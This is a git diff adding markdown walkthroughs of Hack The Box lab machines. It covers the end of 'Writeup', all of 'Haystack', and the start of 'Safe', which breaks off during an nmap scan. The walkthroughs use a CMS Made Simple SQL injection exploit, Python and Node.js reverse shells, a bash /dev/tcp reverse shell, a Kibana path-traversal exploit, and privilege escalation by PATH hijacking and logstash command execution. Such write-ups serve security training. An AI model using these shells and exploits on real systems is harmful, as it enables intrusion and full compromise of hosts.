/****> + +looks like we have a CMS Made Simple from 2004 ! let's run a quick searchsploit command to see which exploits are available for us + + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Writeup] + → searchsploit CMS Made Simple | grep Injection + CMS Made Simple 1.0.5 - 'Stylesheet.php' SQL Injection | exploits/php/webapps/29941.txt + CMS Made Simple 1.2.2 Module TinyMCE - SQL Injection | exploits/php/webapps/4810.txt + CMS Made Simple < 2.2.10 - SQL Injection | exploits/php/webapps/46635.py + + +exploit number 46635.py looks interesting, let's locate it and paste it in our current folder. + + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Writeup] + → locate 46635.py + /usr/share/exploitdb/exploits/php/webapps/46635.py + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Writeup] + → cp /usr/share/exploitdb/exploits/php/webapps/46635.py . + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Writeup] + → nano 46635.py + + +Looking at the exploit we're going to use, we'll need to specify a few flags : -u for the URL --crack and -w for wordlist + + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Writeup] + → python 46635.py -u http://10.10.10.138/writeup --crack -w /usr/share/wordlists/rockyou.txt + + [+] Salt for password found: 5a599ef579066807 + [+] Username found: jkr + [+] Email found: jkr@writeup.htb + [+] Password found: 62def4866937f08cc13bab43bb14e6f7 + [+] Password cracked: raykayjay9 + + + +looks like our exploit worked ! we now have credentials to work with : jkr:raykayjay9 , let's try to get in using ssh. + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Writeup] + → ssh jkr@writeup.htb + The authenticity of host 'writeup.htb (10.10.10.138)' can't be established. + ECDSA key fingerprint is SHA256:TEw8ogmentaVUz08dLoHLKmD7USL1uIqidsdoX77oy0. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added 'writeup.htb,10.10.10.138' (ECDSA) to the list of known hosts. + jkr@writeup.htb's password: + Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux + + The programs included with the Devuan GNU/Linux system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent + permitted by applicable law. + jkr@writeup:~$ uname -a + Linux writeup 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64 GNU/Linux + jkr@writeup:~$ cat /home/jkr/user.txt + + d4XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +## **Part 3 : Getting Root Access** + +to escalate privileges to the root user, let's see what we can use to get a reverse shell onto the box + + + jkr@writeup:~$ which python + /usr/bin/python + + +looks like we can use python to do so, let's ready our reverse shell in python + +_Terminal 1:_ + + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Writeup] + → cat nihilist.py + python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.14.10",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Writeup] + → python -m SimpleHTTPServer 8080 + Serving HTTP on 0.0.0.0 port 8080 ... + + +_Terminal 2:_ + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Writeup] + → nc -lvnp 1234 + listening on [any] 1234 ... + + +_Terminal 3:_ + + + jkr@writeup:~$ wget 10.10.14.10:8080/nihilist.py -O /usr/local/bin/run-parts + --2020-02-15 03:53:00-- http://10.10.14.10:8080/nihilist.py + Connecting to 10.10.14.10:8080... connected. + HTTP request sent, awaiting response... 200 OK + Length: 240 [text/plain] + Saving to: ‘/usr/local/bin/run-parts’ + + /usr/local/bin/run-parts 100%[===============================================>] 240 --.-KB/s in 0s + + 2020-02-15 03:53:00 (52.9 MB/s) - ‘/usr/local/bin/run-parts’ saved [240/240] + + jkr@writeup:~$ chmod +x /usr/local/bin/run-parts + + + +Each time a user logs in, a process sets the PATH for that user and run-parts binary since we are part of the STAFF group, we can place our own run-parts binary in /usr/local/bin, cron will execute our own run-parts next time a new user logs in. And all that's left for us to do, is to log in another time as jkr, and it will activate our nihilist.py reverse shell and that way we will catch the incoming reverse shell connection through our second terminal. + +_Terminal 5:_ + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Writeup] + → ssh jkr@10.10.10.138 + jkr@10.10.10.138's password: + + +_Terminal 2:_ + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Writeup] + → nc -lvnp 1234 + listening on [any] 1234 ... + connect to [10.10.14.10] from (UNKNOWN) [10.10.10.138] 57070 + bash: cannot set terminal process group (2193): Inappropriate ioctl for device + bash: no job control in this shell + root@writeup:/# cat /root/root.txt + cat /root/root.txt + + eeXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +## **Conclusion** + +Here we can see the progress graph : + +![](img/33_graph.png) + diff --git a/Easy/34.md b/Easy/34.md new file mode 100644 index 0000000..b6fb959 --- /dev/null +++ b/Easy/34.md @@ -0,0 +1,585 @@ +# Haystack Writeup + +![](img/34.png) + +## Haystack Introduction : + +Haystack is an easy Linux box that was released back in June 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Haystack] + → nmap -F 10.10.10.115 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-15 10:05 GMT + Nmap scan report for 10.10.10.115 + Host is up (0.81s latency). + Not shown: 98 filtered ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 17.50 seconds + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Haystack] + → nmap -sCV -p22,80 10.10.10.115 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-15 10:06 GMT + Nmap scan report for 10.10.10.115 + Host is up (0.11s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) + | ssh-hostkey: + | 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA) + | 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA) + |_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519) + 80/tcp open http nginx 1.12.2 + |_http-server-header: nginx/1.12.2 + |_http-title: Site doesn't have a title (text/html). + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 15.75 seconds + + +Let's add haystack.htb to our /etc/hosts file. + + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack] + → echo "10.10.10.115 haystack.htb" >> /etc/hosts + + +## **Part 2 : Getting User Access** + +Let's see which directories we can find on the 80th port : using the dirsearch command. + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Haystack] + → dirsearch -u http://10.10.10.115/ -t 50 -e txt,php,html,js + git clone https://github.com/maurosoria/dirsearch.git + dirsearch -u -e -t 50 -x 500 + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: txt, php, html, js | HTTP method: get | Threads: 50 | Wordlist size: 7126 + + Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-02-15_10-10-36.log + + Target: http://10.10.10.115/ + + [10:10:37] Starting: + [10:10:39] 400 - 173B - /%2e%2e/google.com + [10:10:55] 200 - 55B - /index.md + + Task Completed + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Haystack] + → nikto -h http://haystack.htb/ + - Nikto v2.1.6 + --------------------------------------------------------------------------- + + Target IP: 10.10.10.115 + + Target Hostname: haystack.htb + + Target Port: 80 + + Start Time: 2020-02-15 10:11:20 (GMT0) + --------------------------------------------------------------------------- + + Server: nginx/1.12.2 + + The anti-clickjacking X-Frame-Options header is not present. + + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + + No CGI Directories found (use '-C all' to force check all possible dirs)/ + + + +Not much to see on that port from either dirsearch nor nikto, let's poke around the box a little further + + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack] + → curl -sk http://haystack.htb/robots.txt | grep nginx + <****hr> <****center>nginx/1.12.2 <****/center> + +looks like we have nginx 1.12.2 running on this machine, just like how our nmap scan suggested. on index.html of port 80, we find a jpg file named needle, we download it locally and examine it with exiftool. + + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack] + → wget http://haystack.htb/needle.jpg + --2020-02-15 10:18:22-- http://haystack.htb/needle.jpg + Resolving haystack.htb (haystack.htb)... 10.10.10.115 + Connecting to haystack.htb (haystack.htb)|10.10.10.115|:80... connected. + HTTP request sent, awaiting response... 200 OK + Length: 182982 (179K) [image/jpeg] + Saving to: ‘needle.jpg’ + + needle.jpg 100%[===============================================>] 178.69K 155KB/s in 1.2s + + 2020-02-15 10:18:24 (155 KB/s) - ‘needle.jpg’ saved [182982/182982] + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack] + → exiftool needle.jpg + ExifTool Version Number : 11.86 + File Name : needle.jpg + Directory : . + File Size : 179 kB + File Modification Date/Time : 2019:01:25 23:37:55+00:00 + File Access Date/Time : 2020:02:15 10:18:49+00:00 + File Inode Change Date/Time : 2020:02:15 10:18:24+00:00 + File Permissions : rw-r--r-- + File Type : JPEG + File Type Extension : jpg + MIME Type : image/jpeg + JFIF Version : 1.01 + Exif Byte Order : Big-endian (Motorola, MM) + X Resolution : 96 + Y Resolution : 96 + Resolution Unit : inches + Software : paint.net 4.1.1 + User Comment : CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90. + Image Width : 1200 + Image Height : 803 + Encoding Process : Baseline DCT, Huffman coding + Bits Per Sample : 8 + Color Components : 3 + Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) + Image Size : 1200x803 + Megapixels : 0.964 + + + +not so many useful infos there, let's run the strings command aswell + + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack] + → strings needle.jpg + + [...] + STW5 + *Oo!;.o|?> + .n2FrZ + rrNMz + #=pMr + BN2I + ,'*' + I$f2/<****-iy + bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== + +looks like a base64 string right at the end, let's decrypt it using base64 -d + + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack] + → echo "bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==" | base64 -d + la aguja en el pajar es "clave" + + +Translating it from spanish it says "the needle in the haystack is "key" " + + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack] + → nmap -F 10.10.10.115 --top-ports 10000 -vvv + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-15 10:14 GMT + Initiating Ping Scan at 10:14 + Scanning 10.10.10.115 [4 ports] + Completed Ping Scan at 10:14, 0.14s elapsed (1 total hosts) + Initiating SYN Stealth Scan at 10:14 + Scanning haystack.htb (10.10.10.115) [8320 ports] + Discovered open port 80/tcp on 10.10.10.115 + Discovered open port 22/tcp on 10.10.10.115 + Discovered open port 9200/tcp on 10.10.10.115 + Completed SYN Stealth Scan at 10:15, 29.20s elapsed (8320 total ports) + Nmap scan report for haystack.htb (10.10.10.115) + Host is up, received echo-reply ttl 63 (0.11s latency). + Scanned at 2020-02-15 10:14:40 GMT for 30s + Not shown: 8317 filtered ports + Reason: 8283 no-responses and 34 host-prohibiteds + PORT STATE SERVICE REASON + 22/tcp open ssh syn-ack ttl 63 + 80/tcp open http syn-ack ttl 63 + 9200/tcp open wap-wsp syn-ack ttl 63 + + Read data files from: /usr/bin/../share/nmap + Nmap done: 1 IP address (1 host up) scanned in 29.50 seconds + Raw packets sent: 16621 (731.300KB) | Rcvd: 330 (73.816KB) + + +looks like we have another port to work with, 9200 is running something, let's find out what it is with the -sCV flag. + + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack] + → nmap -sCV -p9200 10.10.10.115 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-15 10:16 GMT + Nmap scan report for haystack.htb (10.10.10.115) + Host is up (0.094s latency). + + PORT STATE SERVICE VERSION + 9200/tcp open http nginx 1.12.2 + | http-methods: + |_ Potentially risky methods: DELETE + |_http-server-header: nginx/1.12.2 + |_http-title: Site doesn't have a title (application/json; charset=UTF-8). + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 15.14 seconds + + + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack] + → curl -sk http://haystack.htb:9200 + { + "name" : "iQEYHgS", + "cluster_name" : "elasticsearch", + "cluster_uuid" : "pjrX7V_gSFmJY-DxP4tCQg", + "version" : { + "number" : "6.4.2", + "build_flavor" : "default", + "build_type" : "rpm", + "build_hash" : "04711c2", + "build_date" : "2018-09-26T13:34:09.098244Z", + "build_snapshot" : false, + "lucene_version" : "7.4.0", + "minimum_wire_compatibility_version" : "5.6.0", + "minimum_index_compatibility_version" : "5.0.0" + }, + "tagline" : "You Know, for Search" + } + + +looks like we have to deal with an [elasticsearch](https://www.elastic.co/guide/en/elasticsearch/reference/current/targz.html) service, running curl once more into the /_cat/indices?v URL we find some information in a cluster. + + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack] + → curl -sk http://haystack.htb:9200/_cat/indices/\?v + + health status index uuid pri rep docs.count docs.deleted store.size pri.store.size + green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb + yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb + yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb + + +we see that indexes .kibana , quotes and bank are also opened, let's investigate them. + + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack] + → curl -X POST http://haystack.htb:9200/\/_search + {"error":{"root_cause":[{"type":"index_not_found_exception","reason":"no such index","resource.type":"index_or_alias","resource.id":"index","index_uuid":"_na_","index":"index"}],"type":"index_not_found_exception","reason":"no such index","resource.type":"index_or_alias","resource.id":"index","index_uuid":"_na_","index":"index"},"status":404}# + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack] + → curl -X POST http://haystack.htb:9200/bank/_search + {"took":18,"timed_out":false,"_shards":{"total":5,"successful":5,"skipped":0,"failed":0},"hits":{"total":1000,"max_score":1.0,"hits":[{"_index":"bank","_type":"account","_id":"25","_score":1.0,"_source":{"account_number":25,"balance":40540,"firstname":"Virginia","lastname":"Ayala","age":39,"gender":"F","address":"171 Putnam Avenue","employer":"Filodyne","email":"virginiaayala@filodyne.com","city":"Nicholson","state":"PA"}},{"_index":"bank","_type":"account","_id":"44","_score":1.0,"_source":{"account_number":44,"balance":34487,"firstname":"Aurelia","lastname":"Harding","age":37,"gender":"M","address":"502 Baycliff Terrace","employer":"Orbalix","email":"aureliaharding@orbalix.com","city":"Yardville","state":"DE"}},{"_index":"bank","_type":"account","_id":"99","_score":1.0,"_source":{"account_number":99,"balance":47159,"firstname":"Ratliff","lastname":"Heath","age":39,"gender":"F","address":"806 Rockwell Place","employer":"Zappix","email":"ratliffheath@zappix.com","city":"Shaft","state":"ND"}},{"_index":"bank","_type":"account","_id":"119","_score":1.0,"_source":{"account_number":119,"balance":49222,"firstname":"Laverne","lastname":"Johnson","age":28,"gender":"F","address":"302 Howard Place","employer":"Senmei","email":"lavernejohnson@senmei.com","city":"Herlong","state":"DC"}},{"_index":"bank","_type":"account","_id":"126","_score":1.0,"_source":{"account_number":126,"balance":3607,"firstname":"Effie","lastname":"Gates","age":39,"gender":"F","address":"620 National Drive","employer":"Digitalus","email":"effiegates@digitalus.com","city":"Blodgett","state":"MD"}},{"_index":"bank","_type":"account","_id":"145","_score":1.0,"_source":{"account_number":145,"balance":47406,"firstname":"Rowena","lastname":"Wilkinson","age":32,"gender":"M","address":"891 Elton Street","employer":"Asimiline","email":"rowenawilkinson@asimiline.com","city":"Ripley","state":"NH"}},{"_index":"bank","_type":"account","_id":"183","_score":1.0,"_source":{"account_number":183,"balance":14223,"firstname":"Hudson","lastname":"English","age":26,"gender":"F","address":"823 Herkimer Place","employer":"Xinware","email":"hudsonenglish@xinware.com","city":"Robbins","state":"ND"}},{"_index":"bank","_type":"account","_id":"190","_score":1.0,"_source":{"account_number":190,"balance":3150,"firstname":"Blake","lastname":"Davidson","age":30,"gender":"F","address":"636 Diamond Street","employer":"Quantasis","email":"blakedavidson@quantasis.com","city":"Crumpler","state":"KY"}},{"_index":"bank","_type":"account","_id":"208","_score":1.0,"_source":{"account_number":208,"balance":40760,"firstname":"Garcia","lastname":"Hess","age":26,"gender":"F","address":"810 Nostrand Avenue","employer":"Quiltigen","email":"garciahess@quiltigen.com","city":"Brooktrails","state":"GA"}},{"_index":"bank","_type":"account","_id":"222","_score":1.0,"_source":{"account_number":222,"balance":14764,"firstname":"Rachelle","lastname":"Rice","age":36,"gender":"M","address":"333 Narrows Avenue","employer":"Enaut","email":"rachellerice@enaut.com","city":"Wright","state":"AZ"}}]}} + + +as you can see, this dumps alot of json data, let's use a tool called [elasticdump](https://github.com/taskrabbit/elasticsearch-dump) instead. + + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack] + → npm install elasticdump -g + npm WARN deprecated request@2.88.2: request has been deprecated, see https://github.com/request/request/issues/3142 + npm WARN deprecated s3signed@0.1.0: This module is no longer maintained. It is provided as is. + /usr/local/bin/elasticdump -> /usr/local/lib/node_modules/elasticdump/bin/elasticdump + /usr/local/bin/multielasticdump -> /usr/local/lib/node_modules/elasticdump/bin/multielasticdump + + elasticdump@6.21.0 + added 103 packages from 146 contributors in 12.289s + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Haystack] + → elasticdump --input=http://10.10.10.115:9200/quotes --output=quotes.json --type=data + Sat, 15 Feb 2020 10:45:50 GMT | starting dump + Sat, 15 Feb 2020 10:45:51 GMT | got 100 objects from source elasticsearch (offset: 0) + Sat, 15 Feb 2020 10:45:51 GMT | sent 100 objects to destination file, wrote 100 + Sat, 15 Feb 2020 10:45:52 GMT | got 100 objects from source elasticsearch (offset: 100) + Sat, 15 Feb 2020 10:45:52 GMT | sent 100 objects to destination file, wrote 100 + Sat, 15 Feb 2020 10:45:52 GMT | got 53 objects from source elasticsearch (offset: 200) + Sat, 15 Feb 2020 10:45:52 GMT | sent 53 objects to destination file, wrote 53 + Sat, 15 Feb 2020 10:45:52 GMT | got 0 objects from source elasticsearch (offset: 253) + Sat, 15 Feb 2020 10:45:52 GMT | Total Writes: 253 + Sat, 15 Feb 2020 10:45:52 GMT | dump complete + + + +earlier on, needle.jpg yielded a hint for us, which was the word "clave" , let's grep for it + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Haystack] + → cat quotes.json| grep clave + {"_index":"quotes","_type":"quote","_id":"111","_score":1,"_source":{"quote":"Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="}} + {"_index":"quotes","_type":"quote","_id":"45","_score":1,"_source":{"quote":"Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "}} + + +looks like we have 2 base64 strings to decrypt, let's see what we get + + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack] + → echo "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d + pass: spanish.is.key + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack] + → echo "dXNlcjogc2VjdXJpdHkg" | base64 -d + user: security + + +looks like we have credentials ! security:spanish.is.key, let's try to log in via ssh + + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Haystack] + → ssh security@haystack.htb + The authenticity of host 'haystack.htb (10.10.10.115)' can't be established. + ECDSA key fingerprint is SHA256:ihn2fPA4jrn1hytN0y9Z3vKpIKuL4YYe3yuESD76JeA. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added 'haystack.htb,10.10.10.115' (ECDSA) to the list of known hosts. + security@haystack.htb's password: + Last login: Wed Feb 6 20:53:59 2019 from 192.168.2.154 + [security@haystack ~]$ uname -a + Linux haystack 3.10.0-957.1.3.el7.x86_64 #1 SMP Thu Nov 29 14:49:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux + [security@haystack ~]$ cat /home/security/user.txt + 04XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have the user flag :) + +## **Part 3 : Getting Root Access** + +In order to escalate privileges on the box, let's see if we can run the sudo -l command. + + + [security@haystack ~]$ sudo -l + + We trust you have received the usual lecture from the local System + Administrator. It usually boils down to these three things: + + #1) Respect the privacy of others. + #2) Think before you type. + #3) With great power comes great responsibility. + + [sudo] password for security: + Sorry, user security may not run sudo on haystack. + + +Out of luck, let's try printing out the contents of /etc/passwd + + + [security@haystack ~]$ cat /etc/passwd + root:x:0:0:root:/root:/bin/bash + bin:x:1:1:bin:/bin:/sbin/nologin + daemon:x:2:2:daemon:/sbin:/sbin/nologin + adm:x:3:4:adm:/var/adm:/sbin/nologin + lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin + sync:x:5:0:sync:/sbin:/bin/sync + shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown + halt:x:7:0:halt:/sbin:/sbin/halt + mail:x:8:12:mail:/var/spool/mail:/sbin/nologin + operator:x:11:0:operator:/root:/sbin/nologin + games:x:12:100:games:/usr/games:/sbin/nologin + ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin + nobody:x:99:99:Nobody:/:/sbin/nologin + systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin + dbus:x:81:81:System message bus:/:/sbin/nologin + polkitd:x:999:998:User for polkitd:/:/sbin/nologin + sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin + postfix:x:89:89::/var/spool/postfix:/sbin/nologin + chrony:x:998:996::/var/lib/chrony:/sbin/nologin + security:x:1000:1000:security:/home/security:/bin/bash + elasticsearch:x:997:995:elasticsearch user:/nonexistent:/sbin/nologin + logstash:x:996:994:logstash:/usr/share/logstash:/sbin/nologin + nginx:x:995:993:Nginx web server:/var/lib/nginx:/sbin/nologin + kibana:x:994:992:kibana service user:/home/kibana:/sbin/nologin + + +let's check if there are any processes running for the user kibana using ps aux + + + [security@haystack ~]$ ps aux | grep kibana + kibana 6359 1.2 5.2 1344552 203872 ? Ssl 06:05 0:36 /usr/share/kibana/bin/../node/bin/node --no-warnings /usr/share/kibana/bin/../src/cli -c /etc/kibana/kibana.yml + security 17023 0.0 0.0 112708 972 pts/0 R+ 06:56 0:00 grep --color=auto kibana + + +kibana has a config file stored in /etc/kibana/kibana.yml , let's try to read it's contents + + + [security@haystack ~]$ cat /etc/kibana/kibana.yml | grep port + # Kibana is served by a back end server. This setting specifies the port to use. + server.port: 5601 + + +Looks like there is an opened port on localhost (127.0.0.1) that is being used, haystack.htb:9200 revealed us earlier that it was running as version 6.4.2 which indicates an outdated service, with certain vulnerabilities for us to [exploit](https://github.com/mpgn/CVE-2018-17246) + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Haystack] + → nano nihilist.js + + + + (function(){ + var net = require("net"), + cp = require("child_process"), + sh = cp.spawn("/bin/sh", []); + var client = new net.Socket(); + client.connect(9001, "10.10.14.10", function(){ + client.pipe(sh.stdin); + sh.stdout.pipe(client); + sh.stderr.pipe(client); + }); + return /a/; // Prevents the Node.js application form crashing + })(); + + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Haystack] + → python -m SimpleHTTPServer 8080 + Serving HTTP on 0.0.0.0 port 8080 ... + + +_Terminal 2:_ + + + [security@haystack]$ cd /tmp && curl http://10.10.14.10:8080/nihilist.js > nihilist.js + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 100 382 100 382 0 0 1916 0 --:--:-- --:--:-- --:--:-- 1929 + [security@haystack tmp]$ ls + nihilist.js + hsperfdata_root + jruby-6366 + systemd-private-a242aff03786477b8fe05cbbaae15c33-chronyd.service-bOL8g5 + systemd-private-a242aff03786477b8fe05cbbaae15c33-elasticsearch.service-DDSUOI + systemd-private-a242aff03786477b8fe05cbbaae15c33-nginx.service-Vji3Rm + vmware-root + vmware-root_6751-3887503186 + + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Haystack] + → cat nihilist.js + (function(){ + var net = require("net"), + cp = require("child_process"), + sh = cp.spawn("/bin/sh", []); + var client = new net.Socket(); + client.connect(9001, "10.10.14.10", function(){ + client.pipe(sh.stdin); + sh.stdout.pipe(client); + sh.stderr.pipe(client); + }); + return /a/; // Prevents the Node.js application form crashing + })(); + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Haystack] + → nc -lvnp 9001 + listening on [any] 9001 ... + + +_Terminal 2:_ + + + [security@haystack tmp]$ curl 127.0.0.1:5601/api/console/api_server?apis=../../../../../../../tmp/nihilist.js + + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Haystack] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.10] from (UNKNOWN) [10.10.10.115] 55450 + uname -a + Linux haystack 3.10.0-957.1.3.el7.x86_64 #1 SMP Thu Nov 29 14:49:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux + cat /root/root.txt + cat: /root/root.txt: Permiso denegado + + +it connected back ! but we still need to escalate privileges... let's check out /etc/logstash/conf.d/ + + + bash-4.2$ pwd + pwd + / + bash-4.2$ cd /etc/logstash/conf.d + cd /etc/logstash/conf.d + bash-4.2$ ls -lash + ls -lash + total 12K + 0 drwxrwxr-x. 2 root kibana 62 jun 24 2019 . + 0 drwxr-xr-x. 3 root root 183 jun 18 2019 .. + 4,0K -rw-r-----. 1 root kibana 131 jun 20 2019 filter.conf + 4,0K -rw-r-----. 1 root kibana 186 jun 24 2019 input.conf + 4,0K -rw-r-----. 1 root kibana 109 jun 24 2019 output.conf + + +here we see a few config files, let's see what their contents are. + + + bash-4.2$ cat input.conf + cat input.conf + input { + file { + path => "/opt/kibana/logstash_*" + start_position => "beginning" + sincedb_path => "/dev/null" + stat_interval => "10 second" + type => "execute" + mode => "read" + } + } + bash-4.2$ cat output.conf + cat output.conf + output { + if [type] == "execute" { + stdout { codec => json } + exec { + command => "%{comando} &" + } + } + } + bash-4.2$ cat filter.conf + cat filter.conf + filter { + if [type] == "execute" { + grok { + match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" } + } + } + } + + +looking at the config files it means that we can have code execution from the /opt/kibana directory if we create a reverse shell script named logstash_a, so let's do it : + + + bash-4.2$ cd /opt/kibana + cd /opt/kibana + bash-4.2$ echo 'Ejecutar comando : bash -i >& /dev/tcp/10.10.14.10/9002 0>&1' > logstash_a + echo 'bash -i >& /dev/tcp/10.10.14.10/9002 0>&1' > logstash_a + bash-4.2$ cat logstash_a + cat logstash_a + bash -i >& /dev/tcp/10.10.14.10/9002 0>&1 + bash-4.2$ chmod +x logstash_a + chmod +x logstash_a + bash-4.2$ ls -lash + ls -lash + total 4,0K + 0 drwxr-x---. 2 kibana kibana 24 feb 15 10:43 . + 0 drwxr-xr-x. 3 root root 20 jun 18 2019 .. + 4,0K -rwxr-xr-x. 1 kibana kibana 61 feb 15 10:43 logstash_a + + +Waiting a bit more than the announced 10s in the config files earlier, for the connection to come back to us, but on the 9002nd port, with another netcat command ready to catch it + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Haystack] + → nc -lvnp 9002 + listening on [any] 9002 ... + ls + connect to [10.10.14.10] from (UNKNOWN) [10.10.10.115] 57954 + bash: no hay control de trabajos en este shell + [root@haystack /]# + [root@haystack /]# cat /root/root.txt + cat /root/root.txt + 3fXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +and that's it ! we have been able to escalate privileges and printing out the root flag of the box. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/34_graph.png) + diff --git a/Easy/35.md b/Easy/35.md new file mode 100644 index 0000000..f03c1a1 --- /dev/null +++ b/Easy/35.md @@ -0,0 +1,883 @@ +# Safe Writeup + +![](img/35.png) + +## Introduction : + +Safe is an easy Linux box that was released back in July 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Safe] + → nmap -F 10.10.10.147 --top-ports 10000 -vvv + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-15 16:08 GMT + Initiating Ping Scan at 16:08 + Scanning 10.10.10.147 [2 ports] + Completed Ping Scan at 16:08, 0.09s elapsed (1 total hosts) + Initiating Parallel DNS resolution of 1 host. at 16:08 + Completed Parallel DNS resolution of 1 host. at 16:08, 0.01s elapsed + DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] + Initiating Connect Scan at 16:08 + Scanning 10.10.10.147 [8320 ports] + Discovered open port 22/tcp on 10.10.10.147 + Discovered open port 80/tcp on 10.10.10.147 + Increasing send delay for 10.10.10.147 from 0 to 5 due to 57 out of 189 dropped probes since last increase. + Connect Scan Timing: About 24.46% done; ETC: 16:10 (0:01:36 remaining) + Connect Scan Timing: About 48.59% done; ETC: 16:10 (0:01:05 remaining) + Increasing send delay for 10.10.10.147 from 5 to 10 due to max_successful_tryno increase to 4 + Discovered open port 